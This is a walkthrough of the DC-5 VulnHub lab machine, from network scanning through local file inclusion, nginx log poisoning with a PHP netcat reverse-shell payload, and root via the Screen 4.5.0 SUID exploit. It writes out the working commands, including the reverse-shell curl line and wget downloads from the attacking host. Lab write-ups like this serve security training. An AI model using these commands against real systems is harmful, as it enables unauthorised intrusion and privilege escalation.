DC-5 Walkthrough

Introduction

Today we're doing a boot2root pentest walkthrough of the DC-5 machine, created by DCAU and hosted at https://www.vulnhub.com/entry/dc-5,314/ .

For this pentest, I will be using two virtual machines.  A Kali Linux machine as the attacking system, and the DC-5 machine as the target system.  

Locating The Target

Running nediscover from our attacking machine, we can locate where the target machine is on our network.

netdiscover -r 10.0.2.0/24

Our target system is at 10.0.2.29.

Scanning and Enumeration

We start our scans with nmap to determine which TCP ports are open on the target.

nmap -T4 -p- 10.0.2.29 ; nmap -T4 -sU -F 10.0.2.29

Three open ports.  We'll run these through nmap again to get more info.

nmap -T4 -A -p80,111,54845 10.0.2.29

Finding a Way In

Not much here. The documentation for this machine stated that the way into the machine was located on a page that changed on refresh, so we'll take a look at the target's web server.

http://10.0.2.29

The webpage looks pretty standard, but since the documentation hint indicated a page that changed on refresh, we'll want to investigate the Contact page, since it's likely to have information fields we can interact with and submit.

http://10.0.2.29/contact.php

The contact page here has 3 fields in which we can input information, so we type in some test parameters into the fields and click the Submit button.

Test
Testman
Testing123
Submit

This page we are redirected to includes the info we submitted in the last page into the URL, which suggests that it might be vulnerable to Local File Inclusion (LFI). We also take note of the rest of the info on the page, then refresh the page in our browser.

The year from the page now and before we refreshed the page are different, which means this is probably the page that the documentation hinted at being the point of entry for this machine. We want to test the page's vulnerability to LFI, so we append the URL of the page with ?file=/etc/passwd. If the page is vulnerable to LFI, the page will output the contents of the target system's passwd file, which contains user account information.

http://10.0.2.29/thankyou.php?file=/etc/passwd

This confirms that the page is vulnerable to LFI. We want to exploit this LFI vulnerability to gain a reverse shell on the target system. In order to do that, we will need to use a technique called Log Poisoning. This involves sending a HTTP request to the target's web server that includes a malicious string that will have the system execute a command when the log file is accessed. A prerequisite to using Log Poisoning is being able to access the webserver's log file via LFI. The webserver is using nginx, so need to take that into account when we try to access the log file.

http://10.0.2.29/thankyou.php?file=/var/log/nginx/error.log

The error log is accessible to us, which means we can go ahead with the log poisoning attack. We use curl to send the HTTP request that will be recorded by the error log file.

curl -A “<?= shell_exec('nc 10.0.2.2.4 4242 -e /bin/bash');?>” http://10.0.2.29/thankyou.php

The malicious string included in the HTTP request will have the system communicate to our attacking system on port 4242 and open a remote shell for us when the error log file is accessed. Before we complete the log poisoning attack, we need to setup a netcat listener on our attacking system.

nc -nlvp 4242

The last step is to access the error log file again from the thankyou.php page.

http://10.0.2.29/thankyou.php?file=/var/log/nginx/error.log

Now we have a remote shell on the target system.

Privilege Escalation

The first thing to do after get in is to upgrade our terminal by using a Python one-liner command. Then we want to enumerate the linux system by using the LinEnum.sh script, which we have in our /root/ directory.

The LinEnum.sh script can be downloaded from https://github.com/rebootuser/LinEnum/blob/master/LinEnum.sh .

The first step to make files on our attacking system available for download. We do this by using the Python SimpleHTTPServer module from our attacking system.

python -c ‘import pty; pty.spawn("/bin/bash")’
python -m SimpleHTTPServer 80             <----- from attacking system

Now all of the files on our attacking system's /root/ directory are available for download. From our remote shell, we'll navigate to a directory where the current user, www-data, has write privileges, which is the /tmp/ directory. Then we use wget to download the LinEnum.sh file from our attacking system. Lastly, before running the script, we'll need to change the file permissions using chmod to make the file executable.

cd /tmp/
wget 10.0.2.4/LinEnum.sh
chmod +x LinEnum.sh

Now to run the script and look it over for possible privilege escalation options.

./LinEnum.sh -t | more

This list of SUID files indicates which programs on the system run with root privileges.  Some SUID files are secure, but some can be abused to allow Privilege Escalation on the system.  Screen-4.5.0 stands out to us because it indicates a specific version of the program. A quick search reveals that this version of Screen is vulnerable to exploitation.

https://exploit-db.com/exploits/41154

It looks like this exploit, which is a bash script, will give us root privileges. The first step is to download the exploit file to our attacking system, rename the file, then from our remote shell, download the exploit file to the /tmp/ directory. Before we run the script, we use chmod to make the file executable, then run the script.

cd root
wget https://www.exploit-db.com/download/41154
mv 41154 41154.sh
cd /tmp/ <-------- from to remote shell
wget 10.0.2.4/41154.sh
chmod +x 41154.sh
./41154.sh

So it looks like we've hit a snag. The script doesn't work properly.

If we inspect the code in the script, it consists of 3 parts

Part 1 is creating a c file and then compiling that file into a library file called libhax.so.

Part 2 is creating a c file and then compiling that file into a file that create a shell called rootshell

Part 3 is using the Screen program to access libhax.so, which changes ownership and file permissions of the rootshell file and executes it, which opens a new shell for us in which we have root privileges.

We can manually create the libhax.so library and the rootshell file, then edit the exploit script so that the file creation portion of it is removed. Then all that's remaining in the script are the commands that use the libhax.so and rootshell files to create the root shell.

So first we create the libhax.c file with gedit and compile it with gcc to create the libhax.so file.

gedit libhax.c
copy-paste from the script file....
save, then exit gedit
gcc -fPIC -shared -ldl -o libhax.so libhax.c

We get a warning raised when we compile the file, but hopefully it'll still work. Now to repeat the process with rootshell.c.

gedit rootshell.c
copy-paste from the script file.....
save, then exit gedit
gcc -o rootshell rootshell.c

More warnings. Hopefully nothing breaks when we try to run the exploit script.

The last step before trying the exploit again is to edit the exploit script to remove the portions we've already done manually.  We found out later that the script file from the website actually has some weird encoding, so the target system wasn't able to execute it.  To get around this, we'll just create a new file and paste in the relevant code from the script.

gedit 41154

Edit the 41154 file so that it looks the same as the screenshot above, then save and exit gedit. Now we're ready to move these 3 files from our attacking machine to the target system and prepare the exploit file for execution.

save, then exit gedit
mv 41154 41154.sh
cd /tmp/ <---------- from remote shell
wget 10.0.2.4/libhax.so
wget 10.0.2.4/rootshell
rm 41154.sh
wget 10.0.2.4/41154.sh
chmod +x 41154.sh

Now to execute the script and get root.

./41154.sh

Nice!  The last thing to do is navigate to the /root/ directory and access the flag file.

cd /root/
ls
cat thisistheflag.txt

Summary

After our initial scans, we investigated the web server and found that one of the pages was vulnerable to Local File Inclusion.  Utilizing a Log Poisoning attack, we were able to gain access to the target system.  Once inside, it was found that one of the SUID binaries on the system was vulnerable to an exploit that gave us root access, allowing us to access the system's flag file.

Finish